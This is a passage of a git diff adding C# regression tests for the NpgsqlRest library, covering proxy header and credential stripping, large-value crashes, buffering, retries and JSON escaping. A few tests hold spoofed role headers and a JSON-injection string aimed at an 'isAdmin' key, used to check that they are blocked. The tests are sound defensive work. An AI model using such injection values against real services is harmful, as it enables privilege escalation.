.RespondWith(Response.Create().WithStatusCode(200).WithBody("ok").WithHeader("Set-Cookie", "upstream=evil; Path=/")); + } + + private WireMock.Logging.ILogEntry? LastRequest(string path) => + _server.LogEntries.LastOrDefault(r => r.RequestMessage!.Path == path); + + [Fact] + public async Task Authenticated_user_parameter_is_forwarded_once_with_the_server_value() + { + using var client = _test.Application.CreateClient(); + using var login = await client.PostAsync("/api/proxy-with-user-params-login/", null); + login.StatusCode.Should().Be(HttpStatusCode.OK); + + using var response = await client.GetAsync("/api/proxy-sec-user-params/?userId=1"); + response.StatusCode.Should().Be(HttpStatusCode.OK); + + var upstream = LastRequest("/api/proxy-sec-user-params/"); + upstream.Should().NotBeNull(); + upstream!.RequestMessage!.Query!["userId"].Should().BeEquivalentTo(["999"]); + } + + [Fact] + public async Task Anonymous_client_cannot_supply_a_user_parameter_to_the_upstream() + { + using var response = await _test.Client.GetAsync("/api/proxy-sec-user-params/?userId=1"); + response.StatusCode.Should().Be(HttpStatusCode.OK); + + var upstream = LastRequest("/api/proxy-sec-user-params/"); + upstream.Should().NotBeNull(); + (upstream!.RequestMessage!.Query?.ContainsKey("userId") ?? false).Should().BeFalse(); + } + + [Fact] + public async Task Anonymous_client_cannot_supply_a_user_context_header_to_the_upstream() + { + using var request = new HttpRequestMessage(HttpMethod.Get, "/api/proxy-sec-user-context/"); + request.Headers.TryAddWithoutValidation("request.user_id", "1"); + request.Headers.TryAddWithoutValidation("request.user_roles", "{admin}"); + using var response = await _test.Client.SendAsync(request); + response.StatusCode.Should().Be(HttpStatusCode.OK); + + var upstream = LastRequest("/api/proxy-sec-user-context/"); + upstream.Should().NotBeNull(); + upstream!.RequestMessage!.Headers!.ContainsKey("request.user_id").Should().BeFalse(); + upstream.RequestMessage.Headers.ContainsKey("request.user_roles").Should().BeFalse(); + } + + [Fact] + public async Task Authenticated_user_context_header_is_the_server_value_only() + { + using var client = _test.Application.CreateClient(); + using var login = await client.PostAsync("/api/proxy-with-user-params-login/", null); + login.StatusCode.Should().Be(HttpStatusCode.OK); + + using var request = new HttpRequestMessage(HttpMethod.Get, "/api/proxy-sec-user-context/"); + request.Headers.TryAddWithoutValidation("request.user_id", "1"); + using var response = await client.SendAsync(request); + response.StatusCode.Should().Be(HttpStatusCode.OK); + + var upstream = LastRequest("/api/proxy-sec-user-context/"); + upstream.Should().NotBeNull(); + upstream!.RequestMessage!.Headers!["request.user_id"].Should().BeEquivalentTo(["999"]); + } + + [Fact] + public async Task Credentials_are_not_forwarded_and_upstream_cookies_are_not_returned_by_default() + { + using var request = new HttpRequestMessage(HttpMethod.Get, "/api/proxy-sec-passthrough/"); + request.Headers.TryAddWithoutValidation("Authorization", "Bearer secret-token"); + request.Headers.TryAddWithoutValidation("Cookie", "session=secret-session"); + request.Headers.TryAddWithoutValidation("X-Custom", "forwarded"); + using var response = await _test.Client.SendAsync(request); + + response.StatusCode.Should().Be(HttpStatusCode.OK); + (await response.Content.ReadAsStringAsync()).Should().Be("ok"); + response.Headers.Contains("Set-Cookie").Should().BeFalse(); + + var upstream = LastRequest("/api/proxy-sec-passthrough/"); + upstream.Should().NotBeNull(); + upstream!.RequestMessage!.Headers!.ContainsKey("Authorization").Should().BeFalse(); + upstream.RequestMessage.Headers.ContainsKey("Cookie").Should().BeFalse(); + upstream.RequestMessage.Headers["X-Custom"].Should().BeEquivalentTo(["forwarded"]); + } +} diff --git a/NpgsqlRestTests/ProxyTests/ProxyOutBasicTest.cs b/NpgsqlRestTests/ProxyTests/ProxyOutBasicTest.cs index d4267139..167e3502 100644 --- a/NpgsqlRestTests/ProxyTests/ProxyOutBasicTest.cs +++ b/NpgsqlRestTests/ProxyTests/ProxyOutBasicTest.cs @@ -44,7 +44,7 @@ public async Task Test_proxy_out_executes_function_then_forwards_body_to_upstrea .Given(Request.Create() .WithPath("/api/proxy-out-basic/") .UsingPost() - .WithBody(b => b.Contains("key") && b.Contains("value"))) + .WithBody(b => b!.Contains("key") && b.Contains("value"))) .RespondWith(Response.Create() .WithStatusCode(200) .WithHeader("Content-Type", "application/json") diff --git a/NpgsqlRestTests/ProxyTests/ProxyWithUserParamsTest.cs b/NpgsqlRestTests/ProxyTests/ProxyWithUserParamsTest.cs index 9281622e..1e727733 100644 --- a/NpgsqlRestTests/ProxyTests/ProxyWithUserParamsTest.cs +++ b/NpgsqlRestTests/ProxyTests/ProxyWithUserParamsTest.cs @@ -179,11 +179,11 @@ public async Task Test_proxy_with_ip_and_claims() // Verify the proxy received the userClaims parameter by checking WireMock logs var requests = _server.LogEntries; - var proxyRequest = requests.FirstOrDefault(r => r.RequestMessage.Path == "/api/proxy-with-ip-and-claims/"); + var proxyRequest = requests.FirstOrDefault(r => r.RequestMessage!.Path == "/api/proxy-with-ip-and-claims/"); proxyRequest.Should().NotBeNull(); // Check that userClaims parameter was forwarded (URL encoded JSON) - proxyRequest!.RequestMessage.Query.Should().ContainKey("userClaims"); + proxyRequest!.RequestMessage!.Query.Should().ContainKey("userClaims"); var userClaimsValue = proxyRequest.RequestMessage.Query["userClaims"].First(); userClaimsValue.Should().Contain("name_identifier"); userClaimsValue.Should().Contain("999"); @@ -222,12 +222,12 @@ public async Task Test_proxy_with_user_context_headers() // Verify the proxy received the user context as headers var requests = _server.LogEntries; - var proxyRequest = requests.FirstOrDefault(r => r.RequestMessage.Path == "/api/proxy-with-user-context/"); + var proxyRequest = requests.FirstOrDefault(r => r.RequestMessage!.Path == "/api/proxy-with-user-context/"); proxyRequest.Should().NotBeNull(); // Check that user context headers were forwarded (using ContextKeyClaimsMapping defaults) // Default mappings: request.user_id -> user_id, request.user_name -> user_name, request.user_roles -> user_roles - proxyRequest!.RequestMessage.Headers.Should().ContainKey("request.user_id"); + proxyRequest!.RequestMessage!.Headers.Should().ContainKey("request.user_id"); proxyRequest.RequestMessage.Headers["request.user_id"].First().Should().Be("999"); proxyRequest.RequestMessage.Headers.Should().ContainKey("request.user_name"); diff --git a/NpgsqlRestTests/RawContentTests/LargeValueQuotingTests.cs b/NpgsqlRestTests/RawContentTests/LargeValueQuotingTests.cs new file mode 100644 index 00000000..ae747ceb --- /dev/null +++ b/NpgsqlRestTests/RawContentTests/LargeValueQuotingTests.cs @@ -0,0 +1,69 @@ +namespace NpgsqlRestTests; + +public static partial class Database +{ + public static void LargeValueQuotingTests() + { + script.Append( + """ + create function large_value_csv(_len int) + returns table(t text) + language sql + stable + as + $$ + select repeat('x', _len) + $$; + comment on function large_value_csv(int) is ' + raw + separator , + new_line \n + Content-Type: text/csv + '; + + create function large_value_varbit_json(_len int) + returns table(b varbit) + language sql + stable + as + $$ + select repeat('1', _len)::varbit + $$; + """); + } +} + +/// +/// Security regression: quoting a value whose length comes from data must not use an unbounded stack buffer. +/// A multi-megabyte stored value used to overflow the thread stack (stackalloc of value length), which +/// terminates the whole server process - it cannot be caught. +/// +[Collection("TestFixture")] +public class LargeValueQuotingTests(TestFixture test) +{ + private const int Length = 3_000_000; + + [Fact] + public async Task Large_text_value_in_csv_output_does_not_crash() + { + using var client = test.Application.CreateClient(); + client.Timeout = TimeSpan.FromHours(1); + + using var response = await client.GetAsync($"/api/large-value-csv/?len={Length}"); + response.StatusCode.Should().Be(HttpStatusCode.OK); + var content = await response.Content.ReadAsStringAsync(); + content.Should().Be(string.Concat("\"", new string('x', Length), "\"")); + } + + [Fact] + public async Task Large_varbit_value_in_json_output_does_not_crash() + { + using var client = test.Application.CreateClient(); + client.Timeout = TimeSpan.FromHours(1); + + using var response = await client.GetAsync($"/api/large-value-varbit-json/?len={Length}"); + response.StatusCode.Should().Be(HttpStatusCode.OK); + var content = await response.Content.ReadAsStringAsync(); + content.Should().Be(string.Concat("[{\"b\":\"", new string('1', Length), "\"}]")); + } +} diff --git a/NpgsqlRestTests/RawContentTests/RawResponseTests.cs b/NpgsqlRestTests/RawContentTests/RawResponseTests.cs index 2442b405..642e55f5 100644 --- a/NpgsqlRestTests/RawContentTests/RawResponseTests.cs +++ b/NpgsqlRestTests/RawContentTests/RawResponseTests.cs @@ -91,7 +91,8 @@ public async Task Test_raw_response1() var response = await result.Content.ReadAsStringAsync(); result?.StatusCode.Should().Be(HttpStatusCode.OK); - result?.Content?.Headers?.ContentType?.MediaType.Should().Be("application/json"); + // raw is text, not JSON (it was labelled application/json before 4.1.1) + result?.Content?.Headers?.ContentType?.MediaType.Should().Be("text/plain"); response.Should().Be("1232024-01-01 00:00:00tsome text4562024-12-31 00:00:00fanother text"); } diff --git a/NpgsqlRestTests/RawContentTests/RawResponseUsingParamsTests.cs b/NpgsqlRestTests/RawContentTests/RawResponseUsingParamsTests.cs index 6e839c20..6122b4b6 100644 --- a/NpgsqlRestTests/RawContentTests/RawResponseUsingParamsTests.cs +++ b/NpgsqlRestTests/RawContentTests/RawResponseUsingParamsTests.cs @@ -91,7 +91,8 @@ public async Task Test_raw_response2() var response = await result.Content.ReadAsStringAsync(); result?.StatusCode.Should().Be(HttpStatusCode.OK); - result?.Content?.Headers?.ContentType?.MediaType.Should().Be("application/json"); + // raw is text, not JSON (it was labelled application/json before 4.1.1) + result?.Content?.Headers?.ContentType?.MediaType.Should().Be("text/plain"); response.Should().Be("1232024-01-01 00:00:00tsome text4562024-12-31 00:00:00fanother text"); } diff --git a/NpgsqlRestTests/RenderTests/BufferRowsTests.cs b/NpgsqlRestTests/RenderTests/BufferRowsTests.cs new file mode 100644 index 00000000..7480df4b --- /dev/null +++ b/NpgsqlRestTests/RenderTests/BufferRowsTests.cs @@ -0,0 +1,101 @@ +namespace NpgsqlRestTests; + +public static partial class Database +{ + public static void BufferRowsTests() + { + script.Append(""" +create function buffer_rows_zero() returns table (id int, name text) language sql as $$ +select i, 'row ' || i from generate_series(1, 5) i $$; +comment on function buffer_rows_zero() is 'HTTP GET +buffer_rows 0'; + +create function buffer_rows_one() returns table (id int, name text) language sql as $$ +select i, 'row ' || i from generate_series(1, 5) i $$; +comment on function buffer_rows_one() is 'HTTP GET +buffer_rows 1'; + +create function buffer_rows_two() returns table (id int, name text) language sql as $$ +select i, 'row ' || i from generate_series(1, 5) i $$; +comment on function buffer_rows_two() is 'HTTP GET +buffer_rows 2'; + +-- fails at row 40 (division by zero), after more than the default 25 buffered rows. +-- stable + a single select: PostgreSQL inlines the function and streams its rows, so the first 39 rows really +-- arrive before the error (a non-inlined function would be materialized and fail before sending any row). +create function buffer_rows_fails_midway() returns table (id int, value int) language sql stable as $$ +select i, 100 / (40 - i) from generate_series(1, 60) i $$; +comment on function buffer_rows_fails_midway() is 'HTTP GET'; + +create function buffer_rows_large(_count int) returns table (id int, name text, tags text[]) language sql as $$ +select i, 'name ' || i, array['a' || i, 'b' || i] from generate_series(1, _count) i $$; +comment on function buffer_rows_large(int) is 'HTTP GET'; +"""); + } +} + +/// +/// buffer_rows controls how many rows are collected before they are written to the response: 0 = every row, +/// 1 = all rows at once, N = every N rows. The response is the same in every mode. +/// (0 used to fail with a division by zero.) +/// +[Collection("TestFixture")] +public class BufferRowsTests(TestFixture test) +{ + private const string Expected = + "[{\"id\":1,\"name\":\"row 1\"},{\"id\":2,\"name\":\"row 2\"},{\"id\":3,\"name\":\"row 3\"},{\"id\":4,\"name\":\"row 4\"},{\"id\":5,\"name\":\"row 5\"}]"; + + [Theory] + [InlineData("/api/buffer-rows-zero/")] + [InlineData("/api/buffer-rows-one/")] + [InlineData("/api/buffer-rows-two/")] + public async Task Rows_are_complete_for_every_buffer_setting(string path) + { + using var response = await test.Client.GetAsync(path); + response.StatusCode.Should().Be(HttpStatusCode.OK); + (await response.Content.ReadAsStringAsync()).Should().Be(Expected); + } + + /// + /// Rows are sent once 16 KB is collected (ResponseBufferBytes), not after every 25 rows. A query that fails before + /// that has sent nothing yet, so the client gets the error - it used to get status 200 with the first 25 rows and + /// a truncated body. + /// + [Fact] + public async Task Query_failing_midway_returns_an_error_not_a_truncated_response() + { + using var response = await test.Client.GetAsync("/api/buffer-rows-fails-midway/"); + response.StatusCode.Should().Be(HttpStatusCode.InternalServerError); + (await response.Content.ReadAsStringAsync()).Should().Be("{\"title\":\"22012: division by zero\",\"status\":500,\"detail\":\"22012\"}"); + } + + [Theory] + [InlineData(1)] + [InlineData(25)] + [InlineData(26)] + [InlineData(3000)] // ~150 KB: sent in several pieces + public async Task Large_and_small_responses_are_complete(int count) + { + using var response = await test.Client.GetAsync($"/api/buffer-rows-large/?count={count}"); + response.StatusCode.Should().Be(HttpStatusCode.OK); + var expected = "[" + string.Join(",", Enumerable.Range(1, count).Select(i => $"{{\"id\":{i},\"name\":\"name {i}\",\"tags\":[\"a{i}\",\"b{i}\"]}}")) + "]"; + (await response.Content.ReadAsStringAsync()).Should().Be(expected); + } + + [Fact] + public async Task ResponseBufferBytes_zero_sends_every_batch_and_the_response_is_the_same() + { + var saved = NpgsqlRestOptions.Options.ResponseBufferBytes; + NpgsqlRestOptions.Options.ResponseBufferBytes = 0; + try + { + using var response = await test.Client.GetAsync("/api/buffer-rows-large/?count=120"); + var expected = "[" + string.Join(",", Enumerable.Range(1, 120).Select(i => $"{{\"id\":{i},\"name\":\"name {i}\",\"tags\":[\"a{i}\",\"b{i}\"]}}")) + "]"; + (await response.Content.ReadAsStringAsync()).Should().Be(expected); + } + finally + { + NpgsqlRestOptions.Options.ResponseBufferBytes = saved; + } + } +} diff --git a/NpgsqlRestTests/RenderTests/CommandRetryTests.cs b/NpgsqlRestTests/RenderTests/CommandRetryTests.cs new file mode 100644 index 00000000..64e562ec --- /dev/null +++ b/NpgsqlRestTests/RenderTests/CommandRetryTests.cs @@ -0,0 +1,100 @@ +namespace NpgsqlRestTests; + +public static partial class Database +{ + public static void CommandRetryTests() + { + script.Append(""" + -- Each routine counts its attempts in a sequence (sequences are not rolled back) and fails the first one + -- with a retryable error (40001, serialization_failure). The default retry strategy retries at once. + create sequence retry_scalar_seq; + create function retry_scalar() returns text language plpgsql as $$ + begin + if nextval('retry_scalar_seq') = 1 then + raise exception 'could not serialize' using errcode = '40001'; + end if; + return 'ok on attempt ' || currval('retry_scalar_seq'); + end $$; + comment on function retry_scalar() is 'HTTP GET'; + + create sequence retry_rows_seq; + create function retry_rows() returns table (attempt bigint, name text) language plpgsql as $$ + begin + if nextval('retry_rows_seq') = 1 then + raise exception 'could not serialize' using errcode = '40001'; + end if; + return query select currval('retry_rows_seq'), 'row'::text; + end $$; + comment on function retry_rows() is 'HTTP GET'; + + create sequence retry_void_seq; + create function retry_void() returns void language plpgsql as $$ + begin + if nextval('retry_void_seq') = 1 then + raise exception 'could not serialize' using errcode = '40001'; + end if; + end $$; + comment on function retry_void() is 'HTTP POST'; + create function retry_void_attempts() returns text language sql as $$ select last_value::text from retry_void_seq $$; + comment on function retry_void_attempts() is 'HTTP GET'; + + -- not a retryable error: one attempt only + create sequence retry_none_seq; + create function retry_not_retryable() returns text language plpgsql as $$ + begin + perform nextval('retry_none_seq'); + perform 1 / (currval('retry_none_seq') - currval('retry_none_seq')); + return 'unreachable'; + end $$; + comment on function retry_not_retryable() is 'HTTP GET'; + create function retry_not_retryable_attempts() returns text language sql as $$ select last_value::text from retry_none_seq $$; + comment on function retry_not_retryable_attempts() is 'HTTP GET'; + """); + } +} + +/// +/// Command retries (CommandRetryOptions, default strategy): a command that fails with a retryable error is executed +/// again. The first attempt is made by the request itself and the retry logic takes over when it fails, so these +/// cover that hand-over for each kind of result. +/// +[Collection("TestFixture")] +public class CommandRetryTests(TestFixture test) +{ + [Fact] + public async Task Scalar_is_retried_after_a_retryable_error() + { + using var response = await test.Client.GetAsync("/api/retry-scalar/"); + response.StatusCode.Should().Be(HttpStatusCode.OK); + (await response.Content.ReadAsStringAsync()).Should().Be("ok on attempt 2"); + } + + [Fact] + public async Task Rows_are_retried_after_a_retryable_error() + { + using var response = await test.Client.GetAsync("/api/retry-rows/"); + response.StatusCode.Should().Be(HttpStatusCode.OK); + (await response.Content.ReadAsStringAsync()).Should().Be("[{\"attempt\":2,\"name\":\"row\"}]"); + } + + [Fact] + public async Task Void_is_retried_after_a_retryable_error() + { + using var response = await test.Client.PostAsync("/api/retry-void/", null); + response.StatusCode.Should().Be(HttpStatusCode.NoContent); + + using var attempts = await test.Client.GetAsync("/api/retry-void-attempts/"); + (await attempts.Content.ReadAsStringAsync()).Should().Be("2"); + } + + [Fact] + public async Task Error_that_is_not_retryable_is_returned_after_one_attempt() + { + using var response = await test.Client.GetAsync("/api/retry-not-retryable/"); + response.StatusCode.Should().Be(HttpStatusCode.InternalServerError); + (await response.Content.ReadAsStringAsync()).Should().Be("{\"title\":\"22012: division by zero\",\"status\":500,\"detail\":\"22012\"}"); + + using var attempts = await test.Client.GetAsync("/api/retry-not-retryable-attempts/"); + (await attempts.Content.ReadAsStringAsync()).Should().Be("1"); + } +} diff --git a/NpgsqlRestTests/RenderTests/EndpointFilterTests.cs b/NpgsqlRestTests/RenderTests/EndpointFilterTests.cs new file mode 100644 index 00000000..bf0ec983 --- /dev/null +++ b/NpgsqlRestTests/RenderTests/EndpointFilterTests.cs @@ -0,0 +1,133 @@ +using Microsoft.AspNetCore.Builder; +using Microsoft.AspNetCore.Hosting; +using Microsoft.AspNetCore.Http; +using Microsoft.Extensions.Logging; + +namespace NpgsqlRestTests; + +public static partial class Database +{ + public static void EndpointFilterTests() + { + script.Append(""" + create function epf_filtered(_value text) returns text language sql stable as $$ select 'filtered ' || _value $$; + comment on function epf_filtered(text) is 'HTTP GET'; + + create function epf_rows() returns table (id int, name text) language sql stable as $$ + select i, 'name ' || i from generate_series(1, 3) i $$; + comment on function epf_rows() is 'HTTP GET'; + + create function epf_plain() returns text language sql stable as $$ select 'plain' $$; + comment on function epf_plain() is 'HTTP GET'; + """); + } +} + +[CollectionDefinition("EndpointFilterTestFixture")] +public class EndpointFilterTestFixtureCollection : ICollectionFixture { } + +/// +/// NpgsqlRest endpoints with an endpoint filter added through RouteHandlerCreated (every endpoint except epf_plain). +/// The filter marks the response with a header and rejects requests that send ?deny. +/// +public class EndpointFilterTestFixture : IDisposable +{ + private readonly WebApplication _app; + + public string ServerAddress { get; } + + public EndpointFilterTestFixture() + { + var connectionString = Database.Create(); + + var builder = WebApplication.CreateBuilder(); + builder.WebHost.UseUrls("http://127.0.0.1:0"); + builder.Logging.ClearProviders(); + + _app = builder.Build(); + _app.UseNpgsqlRest(new(connectionString) + { + IncludeSchemas = ["public"], + NameSimilarTo = "epf[_]%", + CommentsMode = CommentsMode.ParseAll, + RequiresAuthorization = false, + RouteHandlerCreated = (routeBuilder, endpoint) => + { + if (endpoint.Path.EndsWith("/epf-plain", StringComparison.Ordinal)) + { + return; + } + routeBuilder.AddEndpointFilter(async (invocationContext, next) => + { + var http = invocationContext.HttpContext; + if (http.Request.Query.ContainsKey("deny")) + { + return Results.Text("denied by filter", statusCode: StatusCodes.Status403Forbidden); + } + http.Response.Headers["X-Endpoint-Filter"] = "ran"; + return await next(invocationContext); + }); + }, + }); + + _app.StartAsync().GetAwaiter().GetResult(); + ServerAddress = _app.Urls.First(); + } + +#pragma warning disable CA1816 + public void Dispose() +#pragma warning restore CA1816 + { + _app.StopAsync().GetAwaiter().GetResult(); + _app.DisposeAsync().GetAwaiter().GetResult(); + } +} + +/// +/// An endpoint without endpoint filters calls the NpgsqlRest handler directly, skipping the generated route handler. +/// Endpoint filters (added through RouteHandlerCreated) must keep working: they run in that generated handler. +/// +[Collection("EndpointFilterTestFixture")] +public class EndpointFilterTests(EndpointFilterTestFixture test) +{ + private HttpClient NewClient() => new() { BaseAddress = new Uri(test.ServerAddress) }; + + [Fact] + public async Task Filter_runs_before_a_scalar_endpoint() + { + using var client = NewClient(); + using var response = await client.GetAsync("/api/epf-filtered/?value=x"); + response.StatusCode.Should().Be(HttpStatusCode.OK); + response.Headers.GetValues("X-Endpoint-Filter").Should().Equal("ran"); + (await response.Content.ReadAsStringAsync()).Should().Be("filtered x"); + } + + [Fact] + public async Task Filter_runs_before_a_rows_endpoint() + { + using var client = NewClient(); + using var response = await client.GetAsync("/api/epf-rows/"); + response.StatusCode.Should().Be(HttpStatusCode.OK); + response.Headers.GetValues("X-Endpoint-Filter").Should().Equal("ran"); + (await response.Content.ReadAsStringAsync()).Should().Be("[{\"id\":1,\"name\":\"name 1\"},{\"id\":2,\"name\":\"name 2\"},{\"id\":3,\"name\":\"name 3\"}]"); + } + + [Fact] + public async Task Filter_can_reject_the_request_and_the_routine_does_not_run() + { + using var client = NewClient(); + using var response = await client.GetAsync("/api/epf-filtered/?value=x&deny=1"); + response.StatusCode.Should().Be(HttpStatusCode.Forbidden); + (await response.Content.ReadAsStringAsync()).Should().Be("denied by filter"); + } + + [Fact] + public async Task Endpoint_without_a_filter_is_served_directly() + { + using var client = NewClient(); + using var response = await client.GetAsync("/api/epf-plain/"); + response.StatusCode.Should().Be(HttpStatusCode.OK); + response.Headers.Contains("X-Endpoint-Filter").Should().BeFalse(); + (await response.Content.ReadAsStringAsync()).Should().Be("plain"); + } +} diff --git a/NpgsqlRestTests/RenderTests/ScalarUtf8Tests.cs b/NpgsqlRestTests/RenderTests/ScalarUtf8Tests.cs new file mode 100644 index 00000000..034dba94 --- /dev/null +++ b/NpgsqlRestTests/RenderTests/ScalarUtf8Tests.cs @@ -0,0 +1,92 @@ +namespace NpgsqlRestTests; + +public static partial class Database +{ + public static void ScalarUtf8Tests() + { + script.Append(""" +create function scalar_utf8_large_json(_items int) returns json language sql stable as $$ +select json_agg(json_build_object('id', i, 'name', 'stavka ' || i || ' žćč 😀')) from generate_series(1, _items) i $$; + +create function scalar_utf8_large_text(_length int) returns text language sql stable as $$ +select repeat('0123456789', _length / 10) $$; + +create function scalar_utf8_text() returns text language sql stable as $$ +select 'Ünïcödé "quoted" \ žćč 😀' $$; + +create function scalar_utf8_text_array() returns text[] language sql stable as $$ +select array['a b', 'žćč', 'q"uote', 'back\slash', null, '😀'] $$; + +create function scalar_utf8_int_array() returns int[] language sql stable as $$ +select array[1, 2, null, 4] $$; + +create function scalar_utf8_null() returns text language sql stable as $$ +select null::text $$; +"""); + } +} + +/// +/// A routine returning a single value writes it to the response as UTF-8 bytes taken straight from the reader +/// (values over 64 KB are streamed in pieces). The response must be exactly the value. +/// +[Collection("TestFixture")] +public class ScalarUtf8Tests(TestFixture test) +{ + [Theory] + [InlineData(10)] // small: buffered, written once + [InlineData(1500)] // just over 64 KB: streamed + [InlineData(20000)] // ~1 MB: many pieces + public async Task Large_json_value_is_complete(int items) + { + using var response = await test.Client.GetAsync($"/api/scalar-utf8-large-json/?items={items}"); + response.StatusCode.Should().Be(HttpStatusCode.OK); + response.Content.Headers.ContentType!.MediaType.Should().Be("application/json"); + var expected = "[" + string.Join(", ", Enumerable.Range(1, items).Select(i => $"{{\"id\" : {i}, \"name\" : \"stavka {i} žćč 😀\"}}")) + "]"; + (await response.Content.ReadAsStringAsync()).Should().Be(expected); + } + + [Theory] + [InlineData(65530)] // just under the 64 KB limit + [InlineData(65540)] // just over + [InlineData(300000)] + public async Task Large_text_value_is_complete(int length) + { + using var response = await test.Client.GetAsync($"/api/scalar-utf8-large-text/?length={length}"); + response.StatusCode.Should().Be(HttpStatusCode.OK); + response.Content.Headers.ContentType!.MediaType.Should().Be("text/plain"); + var body = await response.Content.ReadAsStringAsync(); + body.Length.Should().Be(length); + body.Should().Be(string.Concat(Enumerable.Repeat("0123456789", length / 10))); + } + + [Fact] + public async Task Unicode_text_value_is_returned_as_it_is() + { + using var response = await test.Client.GetAsync("/api/scalar-utf8-text/"); + (await response.Content.ReadAsStringAsync()).Should().Be("Ünïcödé \"quoted\" \\ žćč 😀"); + } + + [Fact] + public async Task Text_array_value_is_a_json_array() + { + using var response = await test.Client.GetAsync("/api/scalar-utf8-text-array/"); + response.Content.Headers.ContentType!.MediaType.Should().Be("application/json"); + (await response.Content.ReadAsStringAsync()).Should().Be("[\"a b\",\"žćč\",\"q\\\"uote\",\"back\\\\slash\",null,\"\\uD83D\\uDE00\"]"); + } + + [Fact] + public async Task Int_array_value_is_a_json_array() + { + using var response = await test.Client.GetAsync("/api/scalar-utf8-int-array/"); + (await response.Content.ReadAsStringAsync()).Should().Be("[1,2,null,4]"); + } + + [Fact] + public async Task Null_value_is_an_empty_response() + { + using var response = await test.Client.GetAsync("/api/scalar-utf8-null/"); + response.StatusCode.Should().Be(HttpStatusCode.OK); + (await response.Content.ReadAsStringAsync()).Should().Be(""); + } +} diff --git a/NpgsqlRestTests/ResolvedParameterTests/ResolvedParameterWithUserParamsTests.cs b/NpgsqlRestTests/ResolvedParameterTests/ResolvedParameterWithUserParamsTests.cs index 665763b0..df16c869 100644 --- a/NpgsqlRestTests/ResolvedParameterTests/ResolvedParameterWithUserParamsTests.cs +++ b/NpgsqlRestTests/ResolvedParameterTests/ResolvedParameterWithUserParamsTests.cs @@ -82,10 +82,11 @@ public async Task Test_resolved_param_with_user_params_jwt_claim_feeds_sql() [Fact] public async Task Test_resolved_param_with_user_params_unauthorized() { - // Without login, _user_name has no default and isn't in query string → 404 - // (parameter validation runs before authorization check) + // Without login → 401. Authorization is decided before parameter processing (4.0.0), so an anonymous + // caller no longer gets the 404 that revealed the missing _user_name parameter. using var response = await _test.Client.GetAsync("/api/get-http-resolved-with-user-params/"); - response?.StatusCode.Should().Be(HttpStatusCode.NotFound); + response?.StatusCode.Should().Be(HttpStatusCode.Unauthorized); + (await response!.Content.ReadAsStringAsync()).Should().Be("{\"title\":\"Unauthorized\",\"status\":401}"); } } diff --git a/NpgsqlRestTests/ReturnTests/EnumAndDomainReturnTests.cs b/NpgsqlRestTests/ReturnTests/EnumAndDomainReturnTests.cs new file mode 100644 index 00000000..98ca8a2c --- /dev/null +++ b/NpgsqlRestTests/ReturnTests/EnumAndDomainReturnTests.cs @@ -0,0 +1,42 @@ +namespace NpgsqlRestTests; + +public static partial class Database +{ + public static void EnumAndDomainReturnTests() + { + script.Append( + """ + create type enum_domain_mood as enum ('happy', 'sad'); + create domain enum_domain_text as text; + + create function get_enum_domain_values() + returns table(mood enum_domain_mood, label enum_domain_text, empty_label enum_domain_text) + language sql + as + $$ + select 'happy'::enum_domain_mood, '"x","isAdmin":true,"y":"z'::enum_domain_text, ''::enum_domain_text + $$; + """); + } +} + +/// +/// Regression: enum and domain columns (types without a specific mapping) must be written as escaped JSON strings. +/// They used to be written raw: enums produced invalid JSON ({"mood":happy}), a domain over text let stored data +/// inject JSON keys, and an empty value failed with HTTP 500. +/// +[Collection("TestFixture")] +public class EnumAndDomainReturnTests(TestFixture test) +{ + [Fact] + public async Task Enum_and_domain_columns_are_json_strings() + { + using var client = test.Application.CreateClient(); + client.Timeout = TimeSpan.FromHours(1); + + using var response = await client.GetAsync("/api/get-enum-domain-values/"); + response.StatusCode.Should().Be(HttpStatusCode.OK); + var content = await response.Content.ReadAsStringAsync(); + content.Should().Be("""[{"mood":"happy","label":"\"x\",\"isAdmin\":true,\"y\":\"z","emptyLabel":""}]"""); + } +} diff --git a/NpgsqlRestTests/ReturnTests/MoneyTests.cs b/NpgsqlRestTests/ReturnTests/MoneyTests.cs new file mode 100644 index 00000000..285ed2cc --- /dev/null +++ b/NpgsqlRestTests/ReturnTests/MoneyTests.cs @@ -0,0 +1,85 @@ +namespace NpgsqlRestTests; + +public static partial class Database +{ + public static void MoneyTests() + { + script.Append(""" + create function money_rows() returns table (id int, price money) language sql + as $$ select * from (values (1, 1234.5::money), (2, null::money)) t(id, price) $$; + comment on function money_rows() is 'HTTP GET'; + + create function money_value() returns money language sql as $$ select 1234.5::money $$; + comment on function money_value() is 'HTTP GET'; + + create function money_array() returns table (prices money[]) language sql as $$ select array[1.5::money, 2::money] $$; + comment on function money_array() is 'HTTP GET'; + + create type money_item as (label text, price money); + create function money_items() returns table (items money_item[]) language sql + as $$ select array[row('a', 1.5::money)::money_item] $$; + comment on function money_items() is 'HTTP GET'; + + create function money_echo(_price money) returns table (price money) language sql as $$ select _price $$; + comment on function money_echo(money) is 'HTTP POST'; + """); + } +} + +// A money value is written by PostgreSQL as text ("$1,234.50"), so in JSON it is a string. It used to be written +// without quotes, which made the whole response invalid JSON. +[Collection("TestFixture")] +public class MoneyTests(TestFixture test) +{ + private async Task Answered(HttpMethod method, string path, string? body = null) + { + using var request = new HttpRequestMessage(method, path); + if (body is not null) + { + request.Content = new StringContent(body, Encoding.UTF8, "application/json"); + } + using var response = await test.Client.SendAsync(request); + return $"{(int)response.StatusCode} {response.Content.Headers.ContentType?.MediaType} {await response.Content.ReadAsStringAsync()}"; + } + + [Fact] + public async Task Money_column_is_a_json_string() + { + (await Answered(HttpMethod.Get, "/api/money-rows")).Should().Be( + """200 application/json [{"id":1,"price":"$1,234.50"},{"id":2,"price":null}]"""); + } + + [Fact] + public async Task Money_value_is_text() + { + (await Answered(HttpMethod.Get, "/api/money-value")).Should().Be("200 text/plain $1,234.50"); + } + + [Fact] + public async Task Money_array_is_an_array_of_strings() + { + (await Answered(HttpMethod.Get, "/api/money-array")).Should().Be( + """200 application/json [{"prices":["$1.50","$2.00"]}]"""); + } + + [Fact] + public async Task Money_field_of_a_composite_value_is_a_string() + { + (await Answered(HttpMethod.Get, "/api/money-items")).Should().Be( + """200 application/json [{"items":[{"label":"a","price":"$1.50"}]}]"""); + } + + [Fact] + public async Task Money_parameter_is_a_number() + { + (await Answered(HttpMethod.Post, "/api/money-echo", """{"price": 12.5}""")).Should().Be( + """200 application/json [{"price":"$12.50"}]"""); + } + + [Fact] + public async Task Money_parameter_is_also_accepted_as_a_decimal_in_a_string() + { + (await Answered(HttpMethod.Post, "/api/money-echo", """{"price": "12.5"}""")).Should().Be( + """200 application/json [{"price":"$12.50"}]"""); + } +} diff --git 